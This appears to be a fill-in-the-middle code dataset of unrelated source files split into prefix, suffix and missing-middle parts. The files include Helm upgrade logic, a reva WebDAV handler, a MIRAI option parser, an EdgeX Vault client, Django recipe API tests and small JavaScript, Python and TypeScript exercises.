return rel, errors.Wrapf(herr, "an error occurred while finding last successful release. original upgrade error: %s", err)
}
// There isn't a way to tell if a previous release was successful, but
// generally failed releases do not get superseded unless the next
// release is successful, so this should be relatively safe
filteredHistory := releaseutil.FilterFunc(func(r *release.Release) bool {
return r.Info.Status == release.StatusSuperseded || r.Info.Status == release.StatusDeployed
}).Filter(fullHistory)
if len(filteredHistory) == 0 {
return rel, errors.Wrap(err, "unable to find a previously successful release when attempting to rollback. original upgrade error")
}
releaseutil.Reverse(filteredHistory, releaseutil.SortByRevision)
rollin := NewRollback(u.cfg)
rollin.Version = filteredHistory[0].Version
rollin.Wait = true
rollin.WaitForJobs = u.WaitForJobs
rollin.DisableHooks = u.DisableHooks
rollin.Recreate = u.Recreate
rollin.Force = u.Force
rollin.Timeout = u.Timeout
if rollErr := rollin.Run(rel.Name); rollErr != nil {
return rel, errors.Wrapf(rollErr, "an error occurred while rolling back the release. original upgrade error: %s", err)
}
return rel, errors.Wrapf(err, "release %s failed, and has been rolled back due to atomic being set", rel.Name)
}
return rel, err
}
// reuseValues copies values from the current release to a new release if the
// new release does not have any values.
//
// If the request already has values, or if there are no values in the current
// release, this does nothing.
//
// This is skipped if the u.ResetValues flag is set, in which case the
// request values are not altered.
func (u *Upgrade) reuseValues(chart *chart.Chart, current *release.Release, newVals map[string]interface{}) (map[string]interface{}, error) {
if u.ResetValues {
// If ResetValues is set, we completely ignore current.Config.
u.cfg.Log("resetting values to the chart's original version")
return newVals, nil
}
// If the ReuseValues flag is set, we always copy the old values over the new config's values.
if u.ReuseValues {
u.cfg.Log("reusing the old release's values")
// We have to regenerate the old coalesced values:
oldVals, err := chartutil.CoalesceValues(current.Chart, current.Config)
if err != nil {
return nil, errors.Wrap(err, "failed to rebuild old values")
}
newVals = chartutil.CoalesceTables(newVals, current.Config)
chart.Values = oldVals
return newVals, nil
}
if len(newVals) == 0 && len(current.Config) > 0 {
u.cfg.Log("copying values from %s (v%d) to new release.", current.Name, current.Version)
newVals = current.Config
}
return newVals, nil
}
func | (c kube.Interface, manifest []byte, openAPIValidation bool) error {
_, err := c.Build(bytes.NewReader(manifest), openAPIValidation)
return err
}
// recreate captures all the logic for recreating pods for both upgrade and
// rollback. If we end up refactoring rollback to use upgrade, this can just be
// made an unexported method on the upgrade action.
func recreate(cfg *Configuration, resources kube.ResourceList) error {
for _, res := range resources {
versioned := kube.AsVersioned(res)
selector, err := kube.SelectorsForObject(versioned)
if err != nil {
// If no selector is returned, it means this object is
// definitely not a pod, so continue onward
continue
}
client, err := cfg.KubernetesClientSet()
if err != nil {
return errors.Wrapf(err, "unable to recreate pods for object %s/%s because an error occurred", res.Namespace, res.Name)
}
pods, err := client.CoreV1().Pods(res.Namespace).List(context.Background(), metav1.ListOptions{
LabelSelector: selector.String(),
})
if err != nil {
return errors.Wrapf(err, "unable to recreate pods for object %s/%s because an error occurred", res.Namespace, res.Name)
}
// Restart pods
for _, pod := range pods.Items {
// Delete each pod for get them restarted with changed spec.
if err := client.CoreV1().Pods(pod.Namespace).Delete(context.Background(), pod.Name, *metav1.NewPreconditionDeleteOptions(string(pod.UID))); err != nil {
return errors.Wrapf(err, "unable to recreate pods for object %s/%s because an error occurred", res.Namespace, res.Name)
}
}
}
return nil
}
func objectKey(r *resource.Info) string {
gvk := r.Object.GetObjectKind().GroupVersionKind()
return fmt.Sprintf("%s/%s/%s/%s", gvk.GroupVersion().String(), gvk.Kind, r.Namespace, r.Name)
}
| validateManifest |
ex09.js | var num, resto
num=prompt("Digite um valor: ")
if(num%3==0){
alert("Este número é múltiplo de 3!")
}
if(num%7==0){ | alert("Esse número é multiplo de 7!")
}
else{
alert("Este número não é múltiplo de nenhuma opção!")
} | |
bitsets.py | #!/usr/bin/env python3
elements = (1, 2, 4)
bitset = 0 # 1. Initialize bitset
# Add elements to bitset
for i in elements:
bitset = bitset | 1<<i # 2. Add element to bitset
# Print contents of bitset
print(bitset)
# Test for elements in bitset
for i in range(6):
if bitset & 1<<i: # 3. Test if element is in bitset
print(i) | for i in elements:
bitset = bitset & ~(1<<i) # 4. Remove element from bitset
# Print contents of bitset
print(bitset) |
# Remove elements from bitset |
options.rs | // Copyright (c) Facebook, Inc. and its affiliates.
//
// This source code is licensed under the MIT license found in the
// LICENSE file in the root directory of this source tree.
use clap::{App, AppSettings, Arg, Error, ErrorKind};
use itertools::Itertools;
use mirai_annotations::*;
use rustc::session::config::ErrorOutputType;
use rustc::session::early_error;
use shellwords;
/// Creates the clap::App metadata for argument parsing.
fn make_options_parser<'a>() -> App<'a, 'a> {
// We could put this into lazy_static! with a Mutex around, but we really do not expect
// to construct this more then once per regular program run.
App::new("MIRAI")
.setting(AppSettings::NoBinaryName)
.version("v1.0.5")
.arg(Arg::with_name("single_func")
.long("single_func")
.takes_value(true)
.help("Focus analysis on the named function.")
.long_help("Name is the simple name of a top-level crate function or a MIRAI summary key."))
.arg(Arg::with_name("test_only")
.long("test_only")
.short("t")
.takes_value(false)
.help("Focus analysis on #[test] methods.")
.long_help("Only #[test] methods and their usage are analyzed. This must be used together with the rustc --test option.")) //todo: just set the --test option, dammit
.arg(Arg::with_name("diag")
.long("diag")
.possible_values(&["relaxed", "strict", "paranoid"])
.default_value("relaxed")
.help("Level of diagnostics.\n")
.long_help("With `relaxed`, false positives will be avoided where possible.\nWith 'strict' optimistic assumptions are made about unanalyzable calls.\nWith `paranoid`, all errors will be reported.\n"))
}
/// Represents options passed to MIRAI.
#[derive(Debug, Default)]
pub struct Options {
pub single_func: Option<String>,
pub test_only: bool,
pub diag_level: DiagLevel,
}
/// Represents diag level.
#[derive(Debug, PartialEq, PartialOrd)]
pub enum DiagLevel {
/// When a function can't be fully analyzed, for example because it calls a function
/// without a body and no foreign function summary, it is simply assumed to be correct (angelic).
/// This is transitive: calling an angelic function causes the caller to become angelic itself.
/// This minimizes false positives but can lead to a lot code not being analyzed
/// while devirtualization isn't perfect and not all intrinsics have been modeled.
RELAXED,
/// When a function calls another function without a body or summary, it assumes that the called
/// function is angelic and that it has no preconditions and no post condition. Analysis of the
/// caller continues optimistically. This can lead to false positives because of the missing
/// post conditions and imprecision can be amplified if the missing function occurs deep down
/// in a long call chain.
STRICT,
/// When a function calls another function without a body or summary, a diagnostic is generated
/// to flag the call as a problem. Analysis of the caller then proceeds as in the STRICT case.
PARANOID,
}
impl Default for DiagLevel {
fn default() -> Self {
DiagLevel::RELAXED
}
}
impl Options {
/// Parse options from an argument string. The argument string will be split using unix
/// shell escaping rules. Any content beyond the leftmost `--` token will be returned
/// (excluding this token).
pub fn | (&mut self, s: &str) -> Vec<String> {
self.parse(&shellwords::split(s).unwrap_or_else(|e| {
early_error(
ErrorOutputType::default(),
&format!("Cannot parse argument string: {:?}", e),
)
}))
}
/// Parses options from a list of strings. Any content beyond the leftmost `--` token
/// will be returned (excluding this token).
pub fn parse(&mut self, args: &[String]) -> Vec<String> {
let mut mirai_args_end = args.len();
let mut rustc_args_start = 0;
if let Some((p, _)) = args.iter().find_position(|s| s.as_str() == "--") {
mirai_args_end = p;
rustc_args_start = p + 1;
}
let mirai_args = &args[0..mirai_args_end];
let matches = if rustc_args_start == 0 {
// The arguments may not be intended for MIRAI and may get here
// via some tool, so do not report errors here, but just assume
// that the arguments were not meant for MIRAI.
match make_options_parser().get_matches_from_safe(mirai_args.iter()) {
Ok(matches) => {
// Looks like these are MIRAI options after all and there are no rustc options.
rustc_args_start = args.len();
matches
}
Err(Error {
kind: ErrorKind::HelpDisplayed,
message,
..
}) => {
// help is ambiguous, so display both MIRAI and rustc help.
println!("{}\n", message);
return args.to_vec();
}
Err(..) => {
// Just send all of the arguments to rustc.
// Note that this means that MIRAI options and rustc options must always
// be separated by --. I.e. any MIRAI options present in arguments list
// will stay unknown to MIRAI and will make rustc unhappy.
return args.to_vec();
}
}
} else {
// This will display error diagnostics for arguments that are not valid for MIRAI.
make_options_parser().get_matches_from(mirai_args.iter())
};
self.single_func = matches.value_of("single_func").map(|s| s.to_string());
self.test_only = matches.is_present("test_only");
self.diag_level = match matches.value_of("diag").unwrap() {
"relaxed" => DiagLevel::RELAXED,
"strict" => DiagLevel::STRICT,
"paranoid" => DiagLevel::PARANOID,
_ => assume_unreachable!(),
};
args[rustc_args_start..args.len()].to_vec()
}
}
| parse_from_str |
ocdav.go | // Copyright 2018-2021 CERN
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// In applying this license, CERN does not waive the privileges and immunities
// granted to it by virtue of its status as an Intergovernmental Organization
// or submit itself to any jurisdiction.
package ocdav
import (
"context"
"encoding/base64"
"fmt"
"net/http"
"net/url"
"path"
"regexp"
"strings"
"time"
"unicode/utf8"
gateway "github.com/cs3org/go-cs3apis/cs3/gateway/v1beta1"
userpb "github.com/cs3org/go-cs3apis/cs3/identity/user/v1beta1"
provider "github.com/cs3org/go-cs3apis/cs3/storage/provider/v1beta1"
"github.com/cs3org/reva/pkg/appctx"
"github.com/cs3org/reva/pkg/rgrpc/todo/pool"
"github.com/cs3org/reva/pkg/rhttp"
"github.com/cs3org/reva/pkg/rhttp/global"
"github.com/cs3org/reva/pkg/rhttp/router"
"github.com/cs3org/reva/pkg/sharedconf"
"github.com/cs3org/reva/pkg/storage/utils/templates"
ctxuser "github.com/cs3org/reva/pkg/user"
"github.com/mitchellh/mapstructure"
"github.com/pkg/errors"
"github.com/rs/zerolog"
)
type ctxKey int
const (
ctxKeyBaseURI ctxKey = iota
)
func init() {
global.Register("ocdav", New)
}
// Config holds the config options that need to be passed down to all ocdav handlers
type Config struct {
Prefix string `mapstructure:"prefix"`
// FilesNamespace prefixes the namespace, optionally with user information.
// Example: if FilesNamespace is /users/{{substr 0 1 .Username}}/{{.Username}}
// and received path is /docs the internal path will be:
// /users/<first char of username>/<username>/docs
FilesNamespace string `mapstructure:"files_namespace"`
// WebdavNamespace prefixes the namespace, optionally with user information.
// Example: if WebdavNamespace is /users/{{substr 0 1 .Username}}/{{.Username}}
// and received path is /docs the internal path will be:
// /users/<first char of username>/<username>/docs
WebdavNamespace string `mapstructure:"webdav_namespace"`
GatewaySvc string `mapstructure:"gatewaysvc"`
Timeout int64 `mapstructure:"timeout"`
Insecure bool `mapstructure:"insecure"`
}
func (c *Config) init() {
// note: default c.Prefix is an empty string
c.GatewaySvc = sharedconf.GetGatewaySVC(c.GatewaySvc)
}
type svc struct {
c *Config
webDavHandler *WebDavHandler
davHandler *DavHandler
client *http.Client
}
// New returns a new ocdav
func New(m map[string]interface{}, log *zerolog.Logger) (global.Service, error) {
conf := &Config{}
if err := mapstructure.Decode(m, conf); err != nil {
return nil, err
}
conf.init()
s := &svc{
c: conf,
webDavHandler: new(WebDavHandler),
davHandler: new(DavHandler),
client: rhttp.GetHTTPClient(
rhttp.Timeout(time.Duration(conf.Timeout*int64(time.Second))),
rhttp.Insecure(conf.Insecure),
),
}
// initialize handlers and set default configs
if err := s.webDavHandler.init(conf.WebdavNamespace, true); err != nil {
return nil, err
}
if err := s.davHandler.init(conf); err != nil {
return nil, err
}
return s, nil
}
func (s *svc) Prefix() string {
return s.c.Prefix
}
func (s *svc) Close() error {
return nil
}
func (s *svc) Unprotected() []string {
return []string{"/status.php", "/remote.php/dav/public-files/"}
}
func (s *svc) Handler() http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
ctx := r.Context()
log := appctx.GetLogger(ctx)
addAccessHeaders(w, r)
// TODO(jfd): do we need this?
// fake litmus testing for empty namespace: see https://github.com/golang/net/blob/e514e69ffb8bc3c76a71ae40de0118d794855992/webdav/litmus_test_server.go#L58-L89
if r.Header.Get("X-Litmus") == "props: 3 (propfind_invalid2)" {
http.Error(w, "400 Bad Request", http.StatusBadRequest)
return
}
// to build correct href prop urls we need to keep track of the base path
// always starts with /
base := path.Join("/", s.Prefix())
var head string
head, r.URL.Path = router.ShiftPath(r.URL.Path)
log.Debug().Str("head", head).Str("tail", r.URL.Path).Msg("http routing")
switch head {
case "status.php":
s.doStatus(w, r)
return
case "remote.php":
// skip optional "remote.php"
head, r.URL.Path = router.ShiftPath(r.URL.Path)
// yet, add it to baseURI
base = path.Join(base, "remote.php")
}
switch head {
// the old `/webdav` endpoint uses remote.php/webdav/$path
case "webdav":
// for oc we need to prepend /home as the path that will be passed to the home storage provider
// will not contain the username
base = path.Join(base, "webdav")
ctx := context.WithValue(ctx, ctxKeyBaseURI, base)
r = r.WithContext(ctx)
s.webDavHandler.Handler(s).ServeHTTP(w, r)
return
case "dav":
// cern uses /dav/files/$namespace -> /$namespace/...
// oc uses /dav/files/$user -> /$home/$user/...
// for oc we need to prepend the path to user homes
// or we take the path starting at /dav and allow rewriting it?
base = path.Join(base, "dav")
ctx := context.WithValue(ctx, ctxKeyBaseURI, base)
r = r.WithContext(ctx)
s.davHandler.Handler(s).ServeHTTP(w, r)
return
}
log.Warn().Msg("resource not found")
w.WriteHeader(http.StatusNotFound)
})
}
func (s *svc) getClient() (gateway.GatewayAPIClient, error) {
return pool.GetGatewayServiceClient(s.c.GatewaySvc)
}
func applyLayout(ctx context.Context, ns string, useLoggedInUserNS bool, requestPath string) string {
// If useLoggedInUserNS is false, that implies that the request is coming from
// the FilesHandler method invoked by a /dav/files/fileOwner where fileOwner
// is not the same as the logged in user. In that case, we'll treat fileOwner
// as the username whose files are to be accessed and use that in the
// namespace template.
u, ok := ctxuser.ContextGetUser(ctx)
if !ok || !useLoggedInUserNS {
requestUserID, _ := router.ShiftPath(requestPath)
u = &userpb.User{
Username: requestUserID,
}
}
return templates.WithUser(u, ns)
}
func wrapResourceID(r *provider.ResourceId) string |
// The fileID must be encoded
// - XML safe, because it is going to be used in the propfind result
// - url safe, because the id might be used in a url, eg. the /dav/meta nodes
// which is why we base64 encode it
func wrap(sid string, oid string) string {
return base64.URLEncoding.EncodeToString([]byte(fmt.Sprintf("%s:%s", sid, oid)))
}
func unwrap(rid string) *provider.ResourceId {
decodedID, err := base64.URLEncoding.DecodeString(rid)
if err != nil {
return nil
}
parts := strings.SplitN(string(decodedID), ":", 2)
if len(parts) != 2 {
return nil
}
if !utf8.ValidString(parts[0]) || !utf8.ValidString(parts[1]) {
return nil
}
return &provider.ResourceId{
StorageId: parts[0],
OpaqueId: parts[1],
}
}
func addAccessHeaders(w http.ResponseWriter, r *http.Request) {
headers := w.Header()
// the webdav api is accessible from anywhere
headers.Set("Access-Control-Allow-Origin", "*")
// all resources served via the DAV endpoint should have the strictest possible as default
headers.Set("Content-Security-Policy", "default-src 'none';")
// disable sniffing the content type for IE
headers.Set("X-Content-Type-Options", "nosniff")
// https://msdn.microsoft.com/en-us/library/jj542450(v=vs.85).aspx
headers.Set("X-Download-Options", "noopen")
// Disallow iFraming from other domains
headers.Set("X-Frame-Options", "SAMEORIGIN")
// https://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html
headers.Set("X-Permitted-Cross-Domain-Policies", "none")
// https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag
headers.Set("X-Robots-Tag", "none")
// enforce browser based XSS filters
headers.Set("X-XSS-Protection", "1; mode=block")
if r.TLS != nil {
headers.Set("Strict-Transport-Security", "max-age=63072000")
}
}
func extractDestination(dstHeader, baseURI string) (string, error) {
if dstHeader == "" {
return "", errors.New("destination header is empty")
}
dstURL, err := url.ParseRequestURI(dstHeader)
if err != nil {
return "", err
}
// TODO check if path is on same storage, return 502 on problems, see https://tools.ietf.org/html/rfc4918#section-9.9.4
// Strip the base URI from the destination. The destination might contain redirection prefixes which need to be handled
urlSplit := strings.Split(dstURL.Path, baseURI)
if len(urlSplit) != 2 {
return "", errors.New("destination path does not contain base URI")
}
return urlSplit[1], nil
}
// replaceAllStringSubmatchFunc is taken from 'Go: Replace String with Regular Expression Callback'
// see: https://elliotchance.medium.com/go-replace-string-with-regular-expression-callback-f89948bad0bb
func replaceAllStringSubmatchFunc(re *regexp.Regexp, str string, repl func([]string) string) string {
result := ""
lastIndex := 0
for _, v := range re.FindAllSubmatchIndex([]byte(str), -1) {
groups := []string{}
for i := 0; i < len(v); i += 2 {
groups = append(groups, str[v[i]:v[i+1]])
}
result += str[lastIndex:v[0]] + repl(groups)
lastIndex = v[1]
}
return result + str[lastIndex:]
}
var hrefre = regexp.MustCompile(`([^A-Za-z0-9_\-.~()/:@])`)
// encodePath encodes the path of a url.
//
// slashes (/) are treated as path-separators.
// ported from https://github.com/sabre-io/http/blob/bb27d1a8c92217b34e778ee09dcf79d9a2936e84/lib/functions.php#L369-L379
func encodePath(path string) string {
return replaceAllStringSubmatchFunc(hrefre, path, func(groups []string) string {
b := groups[1]
var sb strings.Builder
for i := 0; i < len(b); i++ {
sb.WriteString(fmt.Sprintf("%%%x", b[i]))
}
return sb.String()
})
}
| {
return wrap(r.StorageId, r.OpaqueId)
} |
fn.ts | import { IAoCInput } from "../../../utils/javascript/deno-utils/input.ts";
interface ISeat {
row: number;
column: number;
}
const getSeatId = (seat: ISeat) => seat.row * 8 + seat.column;
const processRowInstruction: (
instruction: string,
min: number,
max: number,
) => number = (instruction: string, min: number, max: number) => {
const [letter, ...rest] = instruction.split("");
let newMax: number = max;
let newMin: number = min;
console.log(letter);
if (letter === "F") {
newMax = max - (max - min + 1) / 2;
} else if (letter === "B") {
newMin = min + (max - min + 1) / 2;
} else {
throw new Error("trololo");
}
if (newMax === newMin) { | }
};
const processColumnInstruction: (
instruction: string,
min: number,
max: number,
) => number = (instruction: string, min: number, max: number) => {
const [letter, ...rest] = instruction.split("");
let newMax: number = max;
let newMin: number = min;
if (letter === "L") {
newMax = max - (max - min + 1) / 2;
} else if (letter === "R") {
newMin = min + (max - min + 1) / 2;
} else {
throw new Error("trololo 2");
}
if (newMax === newMin) {
return newMax;
} else {
return processColumnInstruction(rest.join(""), newMin, newMax);
}
};
const getSeatFromBoardingPass: (pass: string) => ISeat = (pass: string) => {
const rowInstructions = pass.substring(0, 7);
const columnInstructions = pass.substring(7, 10);
const row = processRowInstruction(rowInstructions, 0, 127);
const column = processColumnInstruction(columnInstructions, 0, 7);
return {
row,
column,
};
};
export const fn1 = (input: IAoCInput) => {
const seatsID: ReadonlyArray<number> = input.input.map(
getSeatFromBoardingPass,
)
.map(getSeatId);
return Math.max(...seatsID);
};
export const fn2 = (input: IAoCInput) => {
const seatsID: ReadonlyArray<number> = input.input.map(
getSeatFromBoardingPass,
)
.map(getSeatId);
let theoricalSeatsId: ReadonlyArray<number> = [];
for (let i = 0; i < 128; i++) {
for (let j = 0; j < 8; j++) {
if (
!seatsID.includes(getSeatId({
row: i,
column: j,
}))
) {
theoricalSeatsId = [
...theoricalSeatsId,
getSeatId({
row: i,
column: j,
}),
];
}
}
}
return theoricalSeatsId;
}; | return newMax;
} else {
return processRowInstruction(rest.join(""), newMin, newMax); |
vaultclient.go | //
// Copyright (c) 2019 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software distributed under the License
// is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
// or implied. See the License for the specific language governing permissions and limitations under
// the License.
//
// SPDX-License-Identifier: Apache-2.0
//
package client
import (
"context"
"fmt"
"github.com/tuanldchainos/app-functions-sdk-go/internal/common"
"github.com/edgexfoundry/go-mod-core-contracts/clients/logger"
"github.com/edgexfoundry/go-mod-secrets/pkg"
"github.com/edgexfoundry/go-mod-secrets/pkg/providers/vault"
"github.com/edgexfoundry/go-mod-secrets/pkg/token/authtokenloader"
"github.com/edgexfoundry/go-mod-secrets/pkg/token/fileioperformer"
)
// Vault is the structure to get the secret client from go-mod-secrets vault package
type Vault struct {
ctx context.Context
config vault.SecretConfig
lc logger.LoggingClient
}
// NewVault is the constructor for Vault in order to get the Vault secret client
func | (ctx context.Context, config vault.SecretConfig, lc logger.LoggingClient) Vault {
return Vault{
ctx: ctx,
config: config,
lc: lc,
}
}
// Get is the getter for Vault secret client from go-mod-secrets
func (c Vault) Get(secretStoreInfo common.SecretStoreInfo) (pkg.SecretClient, error) {
return vault.NewSecretClientFactory().NewSecretClient(
c.ctx,
c.config,
c.lc,
c.getDefaultTokenExpiredCallback(secretStoreInfo))
}
// getDefaultTokenExpiredCallback is the default implementation of tokenExpiredCallback function
// It utilizes the tokenFile to re-read the token and enable retry if any update from the expired token
func (c Vault) getDefaultTokenExpiredCallback(
secretStoreInfo common.SecretStoreInfo) func(expiredToken string) (replacementToken string, retry bool) {
// if there is no tokenFile, then no replacement token can be used and hence no callback
if secretStoreInfo.TokenFile == "" {
return nil
}
tokenFile := secretStoreInfo.TokenFile
return func(expiredToken string) (replacementToken string, retry bool) {
// during the callback, we want to re-read the token from the disk
// specified by tokenFile and set the retry to true if a new token
// is different from the expiredToken
fileIoPerformer := fileioperformer.NewDefaultFileIoPerformer()
authTokenLoader := authtokenloader.NewAuthTokenLoader(fileIoPerformer)
reReadToken, err := authTokenLoader.Load(tokenFile)
if err != nil {
c.lc.Error(fmt.Sprintf("fail to load auth token from tokenFile %s: %v", tokenFile, err))
return "", false
}
if reReadToken == expiredToken {
c.lc.Error("No new replacement token found for the expired token")
return reReadToken, false
}
return reReadToken, true
}
}
| NewVault |
test_recipe_api.py | import tempfile
import os
from PIL import Image
from django.contrib.auth import get_user_model
from django.test import TestCase
from django.urls import reverse
from decimal import Decimal
from rest_framework import status
from rest_framework.test import APIClient
from core.models import Recipe, Tag, Ingredient
from recipe.serializers import RecipeSerializer, RecipeDetailSerializer
RECIPES_URL = reverse('recipe:recipe-list')
def image_upload_url(recipe_id):
"""Return url of recipe image upload"""
return reverse('recipe:recipe-upload-image', args=[recipe_id])
def detail_url(recipe_id):
'''Add recipe_detail url'''
return reverse('recipe:recipe-detail', args=[recipe_id])
def sample_tag(user, name='Main Course'):
"""Create and Return a sample Tag"""
return Tag.objects.create(user=user, name=name)
def sample_ingredient(user, name='Main Course'):
"""Create and Return a sample ingredient"""
return Ingredient.objects.create(user=user, name=name)
def sample_recipe(user, **params):
'''Create and return a sample recipe'''
defaults = {
'title': 'Sample recipe',
'time_minutes': 3,
'price': 30.00,
}
defaults.update(params)
return Recipe.objects.create(user=user, **defaults)
class | (TestCase):
'''Test unauthenticated recipe api access'''
def setUp(self):
self.client = APIClient()
def test_auth_reqd(self):
'''Test that authentication is required'''
res = self.client.get(RECIPES_URL)
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
class PrivateRecipeApiTests(TestCase):
'''Test unauthenticated recipe api access'''
def setUp(self):
self.client = APIClient()
self.user = get_user_model().objects.create_user(
'[email protected]',
'testpassword'
)
self.client.force_authenticate(self.user)
def test_retrieve_recipe(self):
'''Test retrieving the list of recipes'''
sample_recipe(user=self.user)
sample_recipe(user=self.user)
res = self.client.get(RECIPES_URL)
recipes = Recipe.objects.all().order_by('-id')
serializer = RecipeSerializer(recipes, many=True)
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(res.data, serializer.data)
def test_recipe_limited_to_user(self):
'''Test retrieving recipes for user'''
user2 = get_user_model().objects.create_user(
'[email protected]',
'password213'
)
sample_recipe(user=user2)
sample_recipe(user=self.user)
res = self.client.get(RECIPES_URL)
recipes = Recipe.objects.filter(user=self.user)
serializer = RecipeSerializer(recipes, many=True)
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(res.data, serializer.data)
self.assertEqual(len(res.data), 1)
def test_view_recipe_detail(self):
'''Test viewing a recipe detail'''
recipe = sample_recipe(user=self.user)
recipe.tags.add(sample_tag(user=self.user))
recipe.ingredients.add(sample_ingredient(user=self.user))
url = detail_url(recipe.id)
res = self.client.get(url)
serializer = RecipeDetailSerializer(recipe)
self.assertEqual(res.data, serializer.data)
def test_create_basic_recipe(self):
'''Test creating recipe'''
payload = {
'title': 'Chocolate Cheesecake',
'time_minutes': 30,
'price': 53.34
}
res = self.client.post(RECIPES_URL, payload)
self.assertEqual(res.status_code, status.HTTP_201_CREATED)
recipe = Recipe.objects.get(id=res.data['id'])
for key in payload.keys():
# Coz we can't do recipe.key directly so getattr() is used
# self.assertEqual(payload[key], getattr(recipe, key))
self.assertEqual(recipe.price, Decimal('53.34'))
def test_create_recipe_with_tags(self):
'''Test creating a recipe with tags'''
tag1 = sample_tag(user=self.user, name='Vegan')
tag2 = sample_tag(user=self.user, name='Dessert')
payload = {
'title': 'Avocado lime Cheesecake',
'tags': [tag1.id, tag2.id],
'time_minutes': 60,
'price': 353.34
}
res = self.client.post(RECIPES_URL, payload)
self.assertEqual(res.status_code, status.HTTP_201_CREATED)
recipe = Recipe.objects.get(id=res.data['id'])
tags = recipe.tags.all()
self.assertEqual(tags.count(), 2)
self.assertIn(tag1, tags)
self.assertIn(tag2, tags)
def test_create_recipe_for_ingredients(self):
'''Test creating recipe with ingredients'''
ingredient1 = sample_ingredient(user=self.user, name='Noodles')
ingredient2 = sample_ingredient(user=self.user, name='Manchurian')
payload = {
'title': 'Manchurian Noodles',
'ingredients': [ingredient1.id, ingredient2.id],
'time_minutes': 15,
'price': 133.34
}
res = self.client.post(RECIPES_URL, payload)
self.assertEqual(res.status_code, status.HTTP_201_CREATED)
recipe = Recipe.objects.get(id=res.data['id'])
ingredients = recipe.ingredients.all()
self.assertEqual(ingredients.count(), 2)
self.assertIn(ingredient1, ingredients)
self.assertIn(ingredient2, ingredients)
def test_partial_update_recipe(self):
'''Test updating a recipe with patch'''
recipe = sample_recipe(user=self.user)
recipe.tags.add(sample_tag(user=self.user))
new_tag = sample_tag(user=self.user, name='Curry')
payload = {
'title': 'Manchurian Paneer Noodles',
'tags': [new_tag.id]
}
url = detail_url(recipe.id)
self.client.patch(url, payload)
recipe.refresh_from_db()
self.assertEqual(recipe.title, payload['title'])
tags = recipe.tags.all()
self.assertEqual(len(tags), 1)
self.assertIn(new_tag, tags)
def test_full_update_recipe(self):
'''Test updating a recipe with put'''
recipe = sample_recipe(user=self.user)
recipe.tags.add(sample_tag(user=self.user))
payload = {
'title': 'Manchurian Paneer Spaghetti',
'time_minutes': 15,
'price': 133.00
}
url = detail_url(recipe.id)
self.client.put(url, payload)
recipe.refresh_from_db()
self.assertEqual(recipe.title, payload['title'])
self.assertEqual(recipe.time_minutes, payload['time_minutes'])
self.assertEqual(recipe.price, payload['price'])
tags = recipe.tags.all()
self.assertEqual(len(tags), 0)
class RecipeUploadImageTests(TestCase):
def setUp(self):
self.client = APIClient()
self.user = get_user_model().objects.create_user(
'[email protected]',
'testpass'
)
self.client.force_authenticate(self.user)
self.recipe = sample_recipe(user=self.user)
def tearDown(self):
'''Remove the temporary files after test runs'''
self.recipe.image.delete()
def test_upload_image_to_recipe(self):
'''Test for uploading an image to recipe'''
url = image_upload_url(self.recipe.id)
with tempfile.NamedTemporaryFile(suffix='.jpg') as ntf:
img = Image.new('RGB', (10, 10))
img.save(ntf, format='JPEG')
ntf.seek(0)
# print(url, ntf)
res = self.client.post(url, {'image': ntf}, format='multipart')
self.recipe.refresh_from_db()
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertIn('image', res.data)
self.assertTrue(os.path.exists(self.recipe.image.path))
def test_upload_image_bad_request(self):
'''test uploading an invalid image'''
url = image_upload_url(self.recipe.id)
res = self.client.post(url, {'image': 'notimage'}, format='multipart')
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
def test_filter_recipes_by_tags(self):
'''Test returning recipes with specific tags'''
recipe1 = sample_recipe(user=self.user, title='Thai Curry')
recipe2 = sample_recipe(user=self.user, title='Dal chawal')
tag1 = sample_tag(user=self.user, name='Veggie')
tag2 = sample_tag(user=self.user, name='Jain')
recipe1.tags.add(tag1)
recipe2.tags.add(tag2)
recipe3 = sample_recipe(user=self.user, title='Machie')
res = self.client.get(
RECIPES_URL,
{'tags': f'{tag1.id},{tag2.id}'}
)
serializer1 = RecipeSerializer(recipe1)
serializer2 = RecipeSerializer(recipe2)
serializer3 = RecipeSerializer(recipe3)
self.assertIn(serializer1.data, res.data)
self.assertIn(serializer2.data, res.data)
self.assertNotIn(serializer3.data, res.data)
def test_filter_recipes_by_ingredients(self):
'''Test returning recipes with specific ingredients'''
recipe1 = sample_recipe(user=self.user, title='Thai Curry')
recipe2 = sample_recipe(user=self.user, title='Dal chawal')
recipe3 = sample_recipe(user=self.user, title='Machie')
ingredient1 = sample_ingredient(user=self.user, name='Salt')
ingredient2 = sample_ingredient(user=self.user, name='Pakoda')
recipe1.ingredients.add(ingredient1)
recipe2.ingredients.add(ingredient2)
res = self.client.get(
RECIPES_URL,
{'ingredients': f'{ingredient1.id},{ingredient2.id}'}
)
serializer1 = RecipeSerializer(recipe1)
serializer2 = RecipeSerializer(recipe2)
serializer3 = RecipeSerializer(recipe3)
self.assertIn(serializer1.data, res.data)
self.assertIn(serializer2.data, res.data)
self.assertNotIn(serializer3.data, res.data)
| PublicRecipeApiTests |
perfiladmin.module.ts | import { ImgAdmin } from './imgadmin/imgadmin.component';
import { DataTableModule } from 'angular2-datatable';
import { Ng2SmartTableModule } from 'ng2-smart-table';
import { NgbModalModule, NgbDropdownModule, NgbPopoverModule } from '@ng-bootstrap/ng-bootstrap';
import { HttpModule } from '@angular/http';
import { NgaModule } from './../../theme/nga.module';
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
